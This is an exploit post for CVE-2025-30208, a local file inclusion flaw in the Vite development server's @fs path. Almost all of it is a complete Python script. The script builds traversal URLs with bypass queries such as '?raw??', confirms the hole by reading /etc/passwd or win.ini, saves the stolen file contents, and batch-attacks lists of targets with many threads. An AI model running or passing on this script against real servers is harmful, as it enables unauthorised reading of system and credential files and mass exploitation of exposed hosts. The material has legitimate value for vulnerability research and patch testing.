# Titles: CVE-2025-30208 - Vite `@fs` LFI (Local File Inclusion) Vulnerability # Author: nu11secur1ty # Date: 01/09/2025 # Vendor: https://vite.dev/ # Software: https://github.com/vitejs/vite # Reference: https://vite.dev/config/server-options.html#server-fs-allow > https://cwe.mitre.org/data/definitions/22.html > https://owasp.org/www-community/attacks/Path_Traversal ## Description: This PoC targets a Local File Inclusion (LFI) vulnerability via Vite's @fs/ path mechanism, allowing attackers to read arbitrary files on the server where a vulnerable Vite dev server is exposed. By abusing @fs/ with crafted bypass queries (?raw??, ?import&raw, etc.), attackers can access system files. STATUS: HIGH-CRITICAL Vulnerability [+]Exploit: ``` #!/usr/bin/python # nu11secur1ty import requests import argparse import urllib3 import concurrent.futures import re import os from urllib.parse import urlparse, urlunparse # Suppress SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Common LFI paths and indicators for verification LINUX_PATHS = [ ("/etc/passwd", "root:/bin/bash"), ("/etc/hosts", "127.0.0.1"), ] WINDOWS_PATHS = [ ("C:/windows/win.ini", "[fonts]"), ("C:/boot.ini", "[boot loader]"), ] def sanitize_filename(text): """Sanitize string to be used as filename.""" safe = re.sub(r'[^\w\-]', '_', text) return re.sub(r'_+', '_', safe).strip('_') def log_result(content, url, output_dir): """Write exploitation result to a file.""" filename = sanitize_filename(url) os.makedirs(output_dir, exist_ok=True) filepath = os.path.join(output_dir, f"{filename}.txt") with open(filepath, "w", encoding="utf-8") as f: f.write(f"[SUCCESS] {url}\n") f.write(content) print(f"[+] Saved to {filepath} :)") def fetch_url(url, proxy=None, timeout=5): """Fetch a URL with optional proxy.""" proxies = {"http": proxy, "https": proxy} if proxy else None try: return requests.get(url, timeout=timeout, verify=False, proxies=proxies, allow_redirects=False) except requests.RequestException as e: return e def normalize_bypass_query(query: str) -> str: """Ensure the query string starts with a single '?'.""" query = query.lstrip('?') # remove all leading '?' return '?' + query def build_payload_path(fs_path, bypass_query): """Construct the /@fs path for LFI.""" fs_path = fs_path.strip() if not fs_path.startswith("/"): fs_path = "/" + fs_path query = normalize_bypass_query(bypass_query) return f"/@fs{fs_path}{query}" def build_full_url(base_url, payload, scheme=None): """Build full URL properly handling scheme and netloc.""" parsed = urlparse(base_url) if scheme is None: scheme = parsed.scheme or 'http' netloc = parsed.netloc or parsed.path # Handles if base_url is 'localhost:5173' (no scheme) path = '/' + payload.lstrip('/') return urlunparse((scheme, netloc, path, '', '', '')) def verify_vuln(base_url, bypass_query, os_type="linux", proxy=None): """Try known OS files to verify if @fs LFI is exploitable.""" print(f"[*] Verifying {base_url} for OS: {os_type}") candidates = LINUX_PATHS if os_type.lower() == "linux" else WINDOWS_PATHS for path, indicator in candidates: payload = build_payload_path(path, bypass_query) for scheme in ["http", "https"]: full_url = build_full_url(base_url, payload, scheme) resp = fetch_url(full_url, proxy) if isinstance(resp, Exception): print(f"[!] Request error for {full_url}: {resp}") continue print(f"[DEBUG] Checking {full_url} - Status: {resp.status_code}") snippet = resp.text[:100].replace('\n', ' ') if resp.text else '' print(f"[DEBUG] Response snippet: {snippet}") if resp.status_code == 200 and indicator in resp.text: print(f"[+] Verified @fs LFI on {full_url} (found indicator '{indicator}')") return True return False def exp(base_url, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results"): """Run actual payload exploit.""" payload = build_payload_path(fs_path, bypass_query) for scheme in ["http", "https"]: full_url = build_full_url(base_url, payload, scheme) resp = fetch_url(full_url, proxy) if isinstance(resp, Exception): print(f"[!] Request error for {full_url}: {resp}") continue if resp.status_code == 200: print(f"[+] Exploited: {full_url}") log_result(resp.text, full_url, output_dir) return full_url else: print(f"[FAIL] {full_url} → {resp.status_code}") return None def exp_single(base_url, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results"): """Verify then exploit single target.""" if verify_vuln(base_url, bypass_query, os_type, proxy): print(f"[*] Exploiting {base_url} with {fs_path}") exp(base_url, fs_path, bypass_query, os_type, proxy, output_dir) else: print(f"[-] Not vulnerable: {base_url}") def exp_batch(file_path, fs_path, bypass_query, os_type="linux", proxy=None, output_dir="results", max_workers=10): """Verify and exploit batch targets.""" with open(file_path, "r") as f: targets = [line.strip() for line in f if line.strip()] with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor: futures = { executor.submit(exp_single, target, fs_path, bypass_query, os_type, proxy, output_dir): target for target in targets } for future in concurrent.futures.as_completed(futures): _ = future.result() if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-30208 PoC for Vite @fs LFI") parser.add_argument("-f", "--file", help="File with targets (one per line)") parser.add_argument("-u", "--url", help="Single target (e.g., http://localhost:5173)") parser.add_argument("-p", "--path", default="/etc/passwd", help="Path to try read (default: /etc/passwd)") parser.add_argument("-b", "--bypass", default="?raw??", help="Bypass query (?raw??, ?import&raw, etc.)") parser.add_argument("--proxy", help="Proxy like http://127.0.0.1:8080") parser.add_argument("-o", "--output", default="results", help="Directory to save result files") parser.add_argument("-t", "--threads", type=int, default=10, help="Number of concurrent threads (default: 10)") parser.add_argument("--os", choices=["linux", "windows"], default="linux", help="Target OS for verification/exploitation (default: linux)") args = parser.parse_args() if args.url: exp_single(args.url, args.path, args.bypass, args.os, args.proxy, args.output) elif args.file: exp_batch(args.file, args.path, args.bypass, args.os, args.proxy, args.output, args.threads) else: parser.print_help() ``` # Reproduce: [href](https://www.youtube.com/watch?v=HXPYMImbEhg) # Time spent: 01:25:00